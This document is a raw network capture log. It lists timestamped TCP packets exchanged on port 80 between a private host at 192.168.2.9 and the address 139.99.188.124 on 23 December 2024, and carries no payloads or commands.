                                                                                                                                                                          Dec 23, 2024 08:40:14.339977980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.340038061 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.340106010 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.342988968 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.343131065 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.343178034 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.346012115 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.346090078 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.346148014 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.349030972 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.349112034 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.349158049 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.351979017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.351991892 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.352041006 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.353771925 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.353787899 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.353842020 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.355490923 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.355710983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.355772972 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.357364893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.357378006 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.357449055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.359074116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.359155893 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.359204054 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.361012936 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.361025095 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.361066103 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.362673998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.362687111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.362739086 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.364449024 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.364461899 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.364526033 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.366153002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.367376089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.367440939 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.367948055 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.367959976 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.368004084 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.369700909 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.369714022 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.369757891 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.371370077 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.371381998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.371448040 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.373035908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.373478889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.373538971 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.374790907 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.374975920 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.375029087 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.376590014 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.377232075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.377569914 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.378232002 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.379053116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.379167080 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.380104065 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.380116940 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.380197048 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.381517887 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.381616116 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.381793976 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.383145094 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.383157015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.383232117 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.384689093 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.384751081 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.384838104 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.406975031 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.407001972 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.407058954 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.407656908 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.407675982 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.407788992 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.408421040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.408508062 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.408590078 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.409837008 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.409979105 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.410156965 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.411001921 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.411140919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.411189079 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.412537098 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.412620068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.412664890 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.413991928 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.414113045 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.414225101 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.415446043 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.415582895 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.415623903 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.416934013 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.416970015 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.417015076 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.427139997 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.427279949 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.427330971 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.427898884 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.427994013 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.428236961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.429440975 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.429548025 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.429591894 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.430840969 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.430886030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.431057930 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.447621107 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.447724104 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.448040962 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.448332071 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.448435068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.448601007 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.449773073 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.449949980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.450201988 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.451227903 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.451284885 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.451680899 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.452713966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.452794075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.452842951 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.454065084 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.454207897 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.454529047 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.455578089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.455682039 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.455769062 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.456932068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.457070112 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.457117081 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.458369017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.458484888 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.458528996 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.459806919 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.459975004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.460024118 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.461256981 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.461714983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.461762905 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.462699890 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.462868929 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.462914944 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.463988066 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.464118004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.464169979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.465383053 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.465437889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.465642929 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.466823101 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.466890097 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.466962099 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.468421936 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.468447924 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.468523979 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.469583035 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.469703913 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.469743967 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.470909119 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.471045017 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.471168041 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.472310066 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.472322941 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.472372055 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.473632097 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.473830938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.473880053 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.474957943 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.475073099 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.475120068 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.476320982 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.476761103 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.476835012 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.477650881 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.477839947 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.477890015 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.478956938 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.479022980 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.479070902 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.480300903 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.480314970 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.480361938 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.481517076 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.481599092 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.481731892 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.482733011 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.482853889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.482908964 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.484040976 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.484117985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.484173059 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.485275030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.485398054 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.485440016 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.486463070 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.486566067 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.486613989 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.487601042 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.487740040 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.487785101 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.488806009 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.488914013 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.489181995 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.490061998 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.490391016 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.490436077 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.491149902 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.491317987 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.491429090 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.492391109 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.492465019 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.492527962 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.493474960 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.493578911 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.493685961 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.494606972 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.494651079 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.494795084 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.495696068 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.495831966 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.495893955 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.496802092 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.496934891 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.496975899 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.497888088 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.497960091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.498014927 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.598984957 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.599044085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.599100113 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.599384069 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.599589109 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.599639893 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.600230932 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.600342989 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.600389957 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.600959063 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.601057053 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.601110935 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.601814985 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.601936102 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.602144003 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.602605104 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.602734089 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.602895021 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.603451967 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.603466034 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.603519917 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.604160070 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.604259014 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.604302883 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.604983091 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.605005026 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.605047941 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.605734110 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.605851889 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.605894089 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.619332075 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.619592905 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.619741917 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.619784117 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.619852066 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.619908094 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.620434999 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.620579004 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.620716095 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.621129990 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.640173912 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.640239954 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.640332937 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.640556097 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.640619040 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.640662909 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.641233921 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.641278028 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.641366959 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.641971111 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.642049074 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.642086983 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.642759085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.642771959 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.642812014 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.643423080 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.643484116 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.643548965 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.644273996 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.644339085 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.644387007 CET4981380192.168.2.9139.99.188.124
                                                                                                                                                                          Dec 23, 2024 08:40:14.644896030 CET8049813139.99.188.124192.168.2.9
                                                                                                                                                                          Dec 23, 2024 08:40:14.644938946 CET4981380192.168.2.9139.99.188.124
